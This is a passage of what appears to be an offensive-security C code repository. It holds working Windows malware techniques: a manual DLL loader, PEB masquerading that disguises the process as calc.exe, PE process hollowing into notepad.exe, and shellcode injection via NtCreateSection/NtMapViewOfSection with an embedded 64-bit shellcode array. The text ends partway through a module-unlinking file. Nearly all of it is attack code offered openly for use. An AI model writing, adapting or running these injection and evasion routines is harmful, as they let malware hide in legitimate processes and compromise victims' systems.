} 94 | 95 | // resolve import address table 96 | PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; 97 | IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 98 | importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); 99 | LPCSTR libraryName = ""; 100 | HMODULE library = NULL; 101 | 102 | while (importDescriptor->Name != NULL) 103 | { 104 | libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; 105 | library = LoadLibraryA(libraryName); 106 | 107 | if (library) 108 | { 109 | PIMAGE_THUNK_DATA thunk = NULL; 110 | thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk); 111 | 112 | while (thunk->u1.AddressOfData != NULL) 113 | { 114 | if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) 115 | { 116 | LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); 117 | thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); 118 | } 119 | else 120 | { 121 | PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData); 122 | DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); 123 | thunk->u1.Function = functionAddress; 124 | } 125 | ++thunk; 126 | } 127 | } 128 | 129 | importDescriptor++; 130 | } 131 | 132 | // execute the loaded DLL 133 | DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint); 134 | (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); 135 | 136 | CloseHandle(dll); 137 | HeapFree(GetProcessHeap(), 0, dllBytes); 138 | 139 | return 0; 140 | } -------------------------------------------------------------------------------- /peb_process_mask.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef struct _LSA_UNICODE_STRING 5 | { 6 | USHORT Length; 7 | USHORT MaximumLength; 8 | PWSTR Buffer; 9 | } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; 10 | 11 | typedef struct _PEB_LDR_DATA 12 | { 13 | ULONG Length; 14 | ULONG Initialized; 15 | PVOID SsHandle; 16 | LIST_ENTRY InLoadOrderModuleList; 17 | LIST_ENTRY InMemoryOrderModuleList; 18 | LIST_ENTRY InInitializationOrderModuleList; 19 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 20 | 21 | typedef struct _LDR_MODULE 22 | { 23 | LIST_ENTRY InLoadOrderModuleList; 24 | LIST_ENTRY InMemoryOrderModuleList; 25 | LIST_ENTRY InInitializationOrderModuleList; 26 | PVOID BaseAddress; 27 | PVOID EntryPoint; 28 | ULONG SizeOfImage; 29 | UNICODE_STRING FullDllName; 30 | UNICODE_STRING BaseDllName; 31 | ULONG Flags; 32 | SHORT LoadCount; 33 | SHORT TlsIndex; 34 | LIST_ENTRY HashTableEntry; 35 | ULONG TimeDateStamp; 36 | } LDR_MODULE, *PLDR_MODULE; 37 | 38 | typedef struct _CURDIR 39 | { 40 | UNICODE_STRING DosPath; 41 | PVOID Handle; 42 | } CURDIR, *PCURDIR; 43 | 44 | typedef struct _STRING 45 | { 46 | USHORT Length; 47 | USHORT MaximumLength; 48 | PCHAR Buffer; 49 | } ANSI_STRING, *PANSI_STRING; 50 | 51 | typedef struct _RTL_DRIVE_LETTER_CURDIR 52 | { 53 | WORD Flags; 54 | WORD Length; 55 | ULONG TimeStamp; 56 | ANSI_STRING DosPath; 57 | } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; 58 | 59 | typedef struct _RTL_USER_PROCESS_PARAMETERS 60 | { 61 | ULONG MaximumLength; 62 | ULONG Length; 63 | ULONG Flags; 64 | ULONG DebugFlags; 65 | PVOID ConsoleHandle; 66 | ULONG ConsoleFlags; 67 | PVOID StandardInput; 68 | PVOID StandardOutput; 69 | PVOID StandardError; 70 | CURDIR CurrentDirectory; 71 | UNICODE_STRING DllPath; 72 | UNICODE_STRING ImagePathName; 73 | UNICODE_STRING CommandLine; 74 | PVOID Environment; 75 | ULONG StartingX; 76 | ULONG StartingY; 77 | ULONG CountX; 78 | ULONG CountY; 79 | ULONG CountCharsX; 80 | ULONG CountCharsY; 81 | ULONG FillAttribute; 82 | ULONG WindowFlags; 83 | ULONG ShowWindowFlags; 84 | UNICODE_STRING WindowTitle; 85 | UNICODE_STRING DesktopInfo; 86 | UNICODE_STRING ShellInfo; 87 | UNICODE_STRING RuntimeData; 88 | RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; 89 | ULONG EnvironmentSize; 90 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 91 | 92 | typedef struct _PEB 93 | { 94 | BOOLEAN InheritedAddressSpace; 95 | BOOLEAN ReadImageFileExecOptions; 96 | BOOLEAN BeingDebugged; 97 | BOOLEAN Spare; 98 | HANDLE Mutant; 99 | PVOID ImageBase; 100 | PPEB_LDR_DATA LoaderData; 101 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 102 | PVOID SubSystemData; 103 | PVOID ProcessHeap; 104 | PVOID FastPebLock; 105 | PVOID FastPebLockRoutine; 106 | PVOID FastPebUnlockRoutine; 107 | ULONG EnvironmentUpdateCount; 108 | PVOID *KernelCallbackTable; 109 | PVOID EventLogSection; 110 | PVOID EventLog; 111 | PVOID FreeList; 112 | ULONG TlsExpansionCounter; 113 | PVOID TlsBitmap; 114 | ULONG TlsBitmapBits[0x2]; 115 | PVOID ReadOnlySharedMemoryBase; 116 | PVOID ReadOnlySharedMemoryHeap; 117 | PVOID *ReadOnlyStaticServerData; 118 | PVOID AnsiCodePageData; 119 | PVOID OemCodePageData; 120 | PVOID UnicodeCaseTableData; 121 | ULONG NumberOfProcessors; 122 | ULONG NtGlobalFlag; 123 | BYTE Spare2[0x4]; 124 | LARGE_INTEGER CriticalSectionTimeout; 125 | ULONG HeapSegmentReserve; 126 | ULONG HeapSegmentCommit; 127 | ULONG HeapDeCommitTotalFreeThreshold; 128 | ULONG HeapDeCommitFreeBlockThreshold; 129 | ULONG NumberOfHeaps; 130 | ULONG MaximumNumberOfHeaps; 131 | PVOID **ProcessHeaps; 132 | PVOID GdiSharedHandleTable; 133 | PVOID ProcessStarterHelper; 134 | PVOID GdiDCAttributeList; 135 | PVOID LoaderLock; 136 | ULONG OSMajorVersion; 137 | ULONG OSMinorVersion; 138 | ULONG OSBuildNumber; 139 | ULONG OSPlatformId; 140 | ULONG ImageSubSystem; 141 | ULONG ImageSubSystemMajorVersion; 142 | ULONG ImageSubSystemMinorVersion; 143 | ULONG GdiHandleBuffer[0x22]; 144 | ULONG PostProcessInitRoutine; 145 | ULONG TlsExpansionBitmap; 146 | BYTE TlsExpansionBitmapBits[0x80]; 147 | ULONG SessionId; 148 | } PEB, *PPEB; 149 | 150 | typedef int(WINAPI *_RtlInitUnicodeString)( 151 | PUNICODE_STRING DestinationString, 152 | PCWSTR SourceString); 153 | 154 | typedef int(WINAPI *_PathAppendW)( 155 | LPWSTR pszPath, 156 | LPCWSTR pszMore); 157 | 158 | typedef PWSTR(WINAPI *_StrCpyW)( 159 | PWSTR psz1, 160 | PCWSTR psz2); 161 | 162 | PPEB GetPeb(VOID) 163 | { 164 | #if defined(_WIN64) 165 | return (PPEB)__readgsqword(0x60); 166 | #elif define(_WIN32) 167 | return (PPEB)__readfsdword(0x30); 168 | #endif 169 | } 170 | 171 | VOID PEBFake(LPCWSTR pFullDllName, LPCWSTR pBaseDllName, LPCWSTR pFullDllDir) 172 | { 173 | PPEB Peb = GetPeb(); 174 | 175 | _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(LoadLibrary("ntdll.dll"), "RtlInitUnicodeString"); 176 | 177 | EnterCriticalSection(Peb->FastPebLock); 178 | 179 | // change process image path 180 | RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, pFullDllName); 181 | RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, pFullDllName); 182 | RtlInitUnicodeString(&Peb->ProcessParameters->CurrentDirectory.DosPath, pFullDllDir); 183 | 184 | // enum ldr 185 | PLIST_ENTRY Head = &Peb->LoaderData->InMemoryOrderModuleList; 186 | PLIST_ENTRY Next = Head->Flink; 187 | PLDR_MODULE Module = (PLDR_MODULE)((PBYTE)Next - 16); // first module in list is current process executable 188 | 189 | RtlInitUnicodeString(&Module->FullDllName, pFullDllName); 190 | RtlInitUnicodeString(&Module->BaseDllName, pBaseDllName); 191 | 192 | LeaveCriticalSection(Peb->FastPebLock); 193 | } 194 | 195 | int main() 196 | { 197 | 198 | LPCWSTR myName = L"calc.exe"; 199 | LPCWSTR myDir = L"C:\\Windows\\SysWOW64"; 200 | LPCWSTR myPath = L"C:\\Windows\\SysWOW64\\calc.exe"; 201 | 202 | printf("my PID = %ld\n", GetCurrentProcessId()); 203 | 204 | PEBFake(myPath, myName, myDir); 205 | 206 | printf("done.\n"); 207 | 208 | // check 209 | while (1) 210 | { 211 | Sleep(10000); 212 | } 213 | } -------------------------------------------------------------------------------- /pe_process_hollowing.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef struct BASE_RELOCATION_BLOCK 5 | { 6 | DWORD PageAddress; 7 | DWORD BlockSize; 8 | } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; 9 | 10 | typedef struct BASE_RELOCATION_ENTRY 11 | { 12 | USHORT Offset : 12; 13 | USHORT Type : 4; 14 | } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; 15 | 16 | typedef NTSTATUS(WINAPI *_NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); 17 | 18 | int main() 19 | { 20 | char *sourcePath = "Z:\\git\\offensive_c\\bin\\myexe_mainexec.exe"; 21 | char *targetPath = "C:\\Windows\\System32\\notepad.exe"; 22 | 23 | // read pe to heap 24 | HANDLE hFile = CreateFileA(sourcePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); 25 | DWORD dFileSize = GetFileSize(hFile, NULL); 26 | HANDLE hFileContent = HeapAlloc(GetProcessHeap(), 0, dFileSize); 27 | ReadFile(hFile, hFileContent, dFileSize, NULL, NULL); 28 | CloseHandle(hFile); 29 | 30 | // check if pe valid 31 | PIMAGE_DOS_HEADER sourceImageDOSHeader = (PIMAGE_DOS_HEADER)hFileContent; 32 | PIMAGE_NT_HEADERS sourceImageNTHeader = (PIMAGE_NT_HEADERS)((uintptr_t)sourceImageDOSHeader + sourceImageDOSHeader->e_lfanew); 33 | if (sourceImageNTHeader->Signature != IMAGE_NT_SIGNATURE) 34 | { 35 | printf("source exe is not a valid pe file"); 36 | return FALSE; 37 | } 38 | 39 | // is 32 bit 40 | if (sourceImageNTHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) 41 | { 42 | printf("source exe is 32 bit"); 43 | return FALSE; 44 | } 45 | 46 | // create valid process, suspended 47 | STARTUPINFOA SI; 48 | PROCESS_INFORMATION PI; 49 | 50 | ZeroMemory(&SI, sizeof(SI)); 51 | SI.cb = sizeof(SI); 52 | ZeroMemory(&PI, sizeof(PI)); 53 | 54 | CreateProcessA(targetPath, NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI); 55 | 56 | // read process info 57 | LPVOID targetImageBaseAddress = NULL; 58 | CONTEXT CTX; 59 | CTX.ContextFlags = CONTEXT_FULL; 60 | GetThreadContext(PI.hThread, &CTX); 61 | ReadProcessMemory(PI.hProcess, (LPVOID)(CTX.Rdx + 0x10), &targetImageBaseAddress, sizeof(UINT64), NULL); 62 | // LPVOID lpProcessPEBAddress = CTX.Rdx; 63 | 64 | // check subsystem, target vs source 65 | DWORD64 dwSourceSubsystem = sourceImageNTHeader->OptionalHeader.Subsystem; 66 | 67 | IMAGE_DOS_HEADER targetImageDOSHeader; 68 | IMAGE_NT_HEADERS64 targetImageNTHeader; 69 | ReadProcessMemory(PI.hProcess, targetImageBaseAddress, &targetImageDOSHeader, sizeof(IMAGE_DOS_HEADER), NULL); 70 | ReadProcessMemory(PI.hProcess, (LPVOID)((uintptr_t)targetImageBaseAddress + targetImageDOSHeader.e_lfanew), (LPVOID)&targetImageNTHeader, sizeof(IMAGE_NT_HEADERS64), NULL); 71 | 72 | DWORD64 dwTargetSubsystem = targetImageNTHeader.OptionalHeader.Subsystem; 73 | 74 | if (dwSourceSubsystem != dwTargetSubsystem) 75 | { 76 | printf("subsystems are not compatible"); 77 | return FALSE; 78 | } 79 | 80 | // check relocation table 81 | if (sourceImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == 0) 82 | { 83 | printf("no reloc\n"); 84 | return FALSE; 85 | } 86 | 87 | // unmap 88 | HMODULE hNTDLL = GetModuleHandleA("ntdll"); 89 | FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); 90 | _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; 91 | NtUnmapViewOfSection(PI.hProcess, targetImageBaseAddress); 92 | 93 | // overwrite target pe 94 | LPVOID sourceAllocAddress = VirtualAllocEx(PI.hProcess, targetImageBaseAddress, sourceImageNTHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 95 | DWORD64 DeltaImageBase = (DWORD64)sourceAllocAddress - sourceImageNTHeader->OptionalHeader.ImageBase; 96 | sourceImageNTHeader->OptionalHeader.ImageBase = (DWORD64)sourceAllocAddress; 97 | WriteProcessMemory(PI.hProcess, sourceAllocAddress, hFileContent, sourceImageNTHeader->OptionalHeader.SizeOfHeaders, NULL); 98 | 99 | // copy sections 100 | IMAGE_DATA_DIRECTORY sourceImageDataReloc = sourceImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 101 | PIMAGE_SECTION_HEADER sourceImageRelocSection = NULL; 102 | 103 | for (int i = 0; i < sourceImageNTHeader->FileHeader.NumberOfSections; i++) 104 | { 105 | PIMAGE_SECTION_HEADER sourceImageSectionHeader = (PIMAGE_SECTION_HEADER)((uintptr_t)sourceImageNTHeader + 4 + sizeof(IMAGE_FILE_HEADER) + sourceImageNTHeader->FileHeader.SizeOfOptionalHeader + (i * sizeof(IMAGE_SECTION_HEADER))); 106 | 107 | if (sourceImageDataReloc.VirtualAddress >= sourceImageSectionHeader->VirtualAddress && sourceImageDataReloc.VirtualAddress < (sourceImageSectionHeader->VirtualAddress + sourceImageSectionHeader->Misc.VirtualSize)) 108 | sourceImageRelocSection = sourceImageSectionHeader; 109 | 110 | WriteProcessMemory(PI.hProcess, (LPVOID)((UINT64)sourceAllocAddress + sourceImageSectionHeader->VirtualAddress), (LPVOID)((UINT64)hFileContent + sourceImageSectionHeader->PointerToRawData), sourceImageSectionHeader->SizeOfRawData, NULL); 111 | } 112 | 113 | // copy reloc table 114 | DWORD64 RelocOffset = 0; 115 | while (RelocOffset < sourceImageDataReloc.Size) 116 | { 117 | PIMAGE_BASE_RELOCATION lpImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD64)hFileContent + sourceImageRelocSection->PointerToRawData + RelocOffset); 118 | 119 | RelocOffset += sizeof(IMAGE_BASE_RELOCATION); 120 | DWORD64 NumberOfEntries = (lpImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY); 121 | for (DWORD64 i = 0; i < NumberOfEntries; i++) 122 | { 123 | PBASE_RELOCATION_ENTRY lpImageRelocationEntry = (PBASE_RELOCATION_ENTRY)((DWORD64)hFileContent + sourceImageRelocSection->PointerToRawData + RelocOffset); 124 | RelocOffset += sizeof(BASE_RELOCATION_ENTRY); 125 | 126 | if (lpImageRelocationEntry->Type == 0) 127 | continue; 128 | 129 | DWORD64 AddressLocation = (DWORD64)sourceAllocAddress + lpImageBaseRelocation->VirtualAddress + lpImageRelocationEntry->Offset; 130 | DWORD64 PatchedAddress = 0; 131 | 132 | ReadProcessMemory(PI.hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD64), NULL); 133 | 134 | PatchedAddress += DeltaImageBase; 135 | 136 | WriteProcessMemory(PI.hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD64), NULL); 137 | } 138 | } 139 | 140 | // write image base in peb 141 | WriteProcessMemory(PI.hProcess, (LPVOID)(CTX.Rdx + 0x10), &sourceImageNTHeader->OptionalHeader.ImageBase, sizeof(DWORD64), NULL); 142 | 143 | // set thread context 144 | CTX.Rcx = (DWORD64)sourceAllocAddress + sourceImageNTHeader->OptionalHeader.AddressOfEntryPoint; 145 | SetThreadContext(PI.hThread, &CTX); 146 | 147 | ResumeThread(PI.hThread); 148 | 149 | printf("done."); 150 | return 0; 151 | } 152 | -------------------------------------------------------------------------------- /shellcode_sections.c: -------------------------------------------------------------------------------- 1 | // #include 2 | #include 3 | #include 4 | 5 | 6 | #define InitializeObjectAttributes(p, n, a, r, s) \ 7 | { \ 8 | (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ 9 | (p)->RootDirectory = (r); \ 10 | (p)->Attributes = (a); \ 11 | (p)->ObjectName = (n); \ 12 | (p)->SecurityDescriptor = (s); \ 13 | (p)->SecurityQualityOfService = NULL; \ 14 | } 15 | 16 | // dt nt!_UNICODE_STRING 17 | typedef struct _LSA_UNICODE_STRING 18 | { 19 | USHORT Length; 20 | USHORT MaximumLength; 21 | PWSTR Buffer; 22 | } UNICODE_STRING, *PUNICODE_STRING; 23 | 24 | // dt nt!_OBJECT_ATTRIBUTES 25 | typedef struct _OBJECT_ATTRIBUTES 26 | { 27 | ULONG Length; 28 | HANDLE RootDirectory; 29 | PUNICODE_STRING ObjectName; 30 | ULONG Attributes; 31 | PVOID SecurityDescriptor; 32 | PVOID SecurityQualityOfService; 33 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 34 | 35 | // dt nt!_CLIENT_ID 36 | typedef struct _CLIENT_ID 37 | { 38 | PVOID UniqueProcess; 39 | PVOID UniqueThread; 40 | } CLIENT_ID, *PCLIENT_ID; 41 | 42 | // NtCreateSection syntax 43 | typedef NTSTATUS(NTAPI *pNtCreateSection)( 44 | OUT PHANDLE SectionHandle, 45 | IN ULONG DesiredAccess, 46 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 47 | IN PLARGE_INTEGER MaximumSize OPTIONAL, 48 | IN ULONG PageAttributess, 49 | IN ULONG SectionAttributes, 50 | IN HANDLE FileHandle OPTIONAL); 51 | 52 | // NtMapViewOfSection syntax 53 | typedef NTSTATUS(NTAPI *pNtMapViewOfSection)( 54 | HANDLE SectionHandle, 55 | HANDLE ProcessHandle, 56 | PVOID *BaseAddress, 57 | ULONG_PTR ZeroBits, 58 | SIZE_T CommitSize, 59 | PLARGE_INTEGER SectionOffset, 60 | PSIZE_T ViewSize, 61 | DWORD InheritDisposition, 62 | ULONG AllocationType, 63 | ULONG Win32Protect); 64 | 65 | // RtlCreateUserThread syntax 66 | typedef NTSTATUS(NTAPI *pRtlCreateUserThread)( 67 | IN HANDLE ProcessHandle, 68 | IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, 69 | IN BOOLEAN CreateSuspended, 70 | IN ULONG StackZeroBits, 71 | IN OUT PULONG StackReserved, 72 | IN OUT PULONG StackCommit, 73 | IN PVOID StartAddress, 74 | IN PVOID StartParameter OPTIONAL, 75 | OUT PHANDLE ThreadHandle, 76 | OUT PCLIENT_ID ClientID); 77 | 78 | // NtOpenProcess syntax 79 | typedef NTSTATUS(NTAPI *pNtOpenProcess)( 80 | PHANDLE ProcessHandle, 81 | ACCESS_MASK AccessMask, 82 | POBJECT_ATTRIBUTES ObjectAttributes, 83 | PCLIENT_ID ClientID); 84 | 85 | // ZwUnmapViewOfSection syntax 86 | typedef NTSTATUS(NTAPI *pZwUnmapViewOfSection)( 87 | HANDLE ProcessHandle, 88 | PVOID BaseAddress); 89 | 90 | 91 | // 64-bit meow-meow messagebox without encryption 92 | unsigned char buf[] = 93 | "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41" 94 | "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60" 95 | "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72" 96 | "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac" 97 | "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2" 98 | "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48" 99 | "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f" 100 | "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49" 101 | "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01" 102 | "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01" 103 | "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1" 104 | "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41" 105 | "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b" 106 | "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58" 107 | "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" 108 | "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7" 109 | "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e" 110 | "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83" 111 | "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" 112 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 113 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 114 | "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e" 115 | "\x2e\x2e\x5e\x3d\x00"; 116 | 117 | int main(int argc, char *argv[]) 118 | { 119 | 120 | SIZE_T s = 4096; 121 | LARGE_INTEGER sectionS = {s}; 122 | HANDLE sh = NULL; // section handle 123 | PVOID lb = NULL; // local buffer 124 | PVOID rb = NULL; // remote buffer 125 | HANDLE th = NULL; // thread handle 126 | 127 | // 128 | PROCESS_INFORMATION pi; 129 | STARTUPINFOA Startup; 130 | ZeroMemory(&Startup, sizeof(Startup)); 131 | ZeroMemory(&pi, sizeof(pi)); 132 | 133 | CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, 0, NORMAL_PRIORITY_CLASS, NULL, NULL, &Startup, &pi); 134 | WaitForSingleObject(pi.hProcess, 1 * 1000); 135 | // 136 | 137 | OBJECT_ATTRIBUTES oa; 138 | CLIENT_ID cid; 139 | InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL); 140 | cid.UniqueProcess = pi.dwProcessId; 141 | cid.UniqueThread = 0; 142 | 143 | HANDLE ntdll = GetModuleHandleA("ntdll"); 144 | 145 | pNtOpenProcess myNtOpenProcess = (pNtOpenProcess)GetProcAddress(ntdll, "NtOpenProcess"); 146 | pNtCreateSection myNtCreateSection = (pNtCreateSection)(GetProcAddress(ntdll, "NtCreateSection")); 147 | pNtMapViewOfSection myNtMapViewOfSection = (pNtMapViewOfSection)(GetProcAddress(ntdll, "NtMapViewOfSection")); 148 | pRtlCreateUserThread myRtlCreateUserThread = (pRtlCreateUserThread)(GetProcAddress(ntdll, "RtlCreateUserThread")); 149 | pZwUnmapViewOfSection myZwUnmapViewOfSection = (pZwUnmapViewOfSection)(GetProcAddress(ntdll, "ZwUnmapViewOfSection")); 150 | 151 | // create local section 152 | myNtCreateSection(&sh, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionS, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); 153 | myNtMapViewOfSection(sh, GetCurrentProcess(), &lb, NULL, NULL, NULL, &s, 2, NULL, PAGE_READWRITE); 154 | // printf("local : %p\n", lb); 155 | 156 | // make mirror to local section in remote process 157 | HANDLE ph = NULL; 158 | myNtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oa, &cid); 159 | myNtMapViewOfSection(sh, ph, &rb, NULL, NULL, NULL, &s, 2, NULL, PAGE_EXECUTE_READ); 160 | // printf("remote : %p\n", rb); 161 | 162 | // write shellcode to local buffer, automatically mirrored to remote process section 163 | memcpy(lb, buf, sizeof(buf)); 164 | 165 | myRtlCreateUserThread(ph, NULL, FALSE, 0, 0, 0, rb, NULL, &th, NULL); 166 | WaitForSingleObject(th, INFINITE); 167 | 168 | // cleanup 169 | myZwUnmapViewOfSection(GetCurrentProcess(), lb); 170 | myZwUnmapViewOfSection(ph, rb); 171 | CloseHandle(sh); 172 | CloseHandle(ph); 173 | 174 | return 0; 175 | } 176 | -------------------------------------------------------------------------------- /dll_unlink_module.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef struct _LSA_UNICODE_STRING 5 | { 6 | USHORT Length; 7 | USHORT MaximumLength; 8 | PWSTR Buffer; 9 | } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; 10 | 11 | typedef struct _CURDIR 12 | { 13 | UNICODE_STRING DosPath; 14 | PVOID Handle; 15 | } CURDIR, *PCURDIR; 16 | 17 | typedef struct _STRING 18 | { 19 | USHORT Length; 20 | USHORT MaximumLength; 21 | PCHAR Buffer; 22 | } ANSI_STRING, *PANSI_STRING; 23 | 24 | typedef struct _RTL_DRIVE_LETTER_CURDIR 25 | { 26 | WORD Flags; 27 | WORD Length; 28 | ULONG TimeStamp; 29 | ANSI_STRING DosPath; 30 | } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; 31 | 32 | typedef struct _RTL_USER_PROCESS_PARAMETERS 33 | { 34 | ULONG MaximumLength; 35 | ULONG Length; 36 | ULONG Flags; 37 | ULONG DebugFlags; 38 | PVOID ConsoleHandle; 39 | ULONG ConsoleFlags; 40 | PVOID StandardInput; 41 | PVOID StandardOutput; 42 | PVOID StandardError; 43 | CURDIR CurrentDirectory; 44 | UNICODE_STRING DllPath; 45 | UNICODE_STRING ImagePathName; 46 | UNICODE_STRING CommandLine; 47 | PVOID Environment; 48 | ULONG StartingX; 49 | ULONG StartingY; 50 | ULONG CountX; 51 | ULONG CountY; 52 | ULONG CountCharsX; 53 | ULONG CountCharsY; 54 | ULONG FillAttribute; 55 | ULONG WindowFlags; 56 | ULONG ShowWindowFlags; 57 | UNICODE_STRING WindowTitle; 58 | UNICODE_STRING DesktopInfo; 59 | UNICODE_STRING ShellInfo; 60 | UNICODE_STRING RuntimeData; 61 | RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; 62 | ULONG EnvironmentSize; 63 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 64 | 65 | typedef struct _LDR_MODULE 66 | { 67 | LIST_ENTRY InLoadOrderModuleList; 68 | LIST_ENTRY InMemoryOrderModuleList; 69 | LIST_ENTRY InInitializationOrderModuleList; 70 | PVOID BaseAddress; 71 | PVOID EntryPoint; 72 | ULONG SizeOfImage; 73 | UNICODE_STRING FullDllName; 74 | UNICODE_STRING BaseDllName; 75 | ULONG Flags; 76 | SHORT LoadCount; 77 | SHORT TlsIndex; 78 | LIST_ENTRY HashTableEntry; 79 | ULONG TimeDateStamp; 80 | } LDR_MODULE, *PLDR_MODULE; 81 | 82 | typedef struct _PEB_LDR_DATA 83 | { 84 | ULONG Length; 85 | ULONG Initialized; 86 | PVOID SsHandle; 87 | LIST_ENTRY InLoadOrderModuleList; 88 | LIST_ENTRY InMemoryOrderModuleList; 89 | LIST_ENTRY InInitializationOrderModuleList; 90 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 91 | 92 | typedef struct _PEB 93 | { 94 | BOOLEAN InheritedAddressSpace; 95 | BOOLEAN ReadImageFileExecOptions; 96 | BOOLEAN BeingDebugged; 97 | BOOLEAN Spare; 98 | HANDLE Mutant; 99 | PVOID ImageBase; 100 | PPEB_LDR_DATA LoaderData; 101 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 102 | PVOID SubSystemData; 103 | PVOID ProcessHeap; 104 | PVOID FastPebLock; 105 | PVOID FastPebLockRoutine; 106 | PVOID FastPebUnlockRoutine; 107 | ULONG EnvironmentUpdateCount; 108 | PVOID *KernelCallbackTable; 109 | PVOID EventLogSection; 110 | PVOID EventLog; 111 | PVOID FreeList; 112 | ULONG TlsExpansionCounter; 113 | PVOID TlsBitmap; 114 | ULONG TlsBitmapBits[0x2]; 115 | PVOID ReadOnlySharedMemoryBase; 116 | PVOID 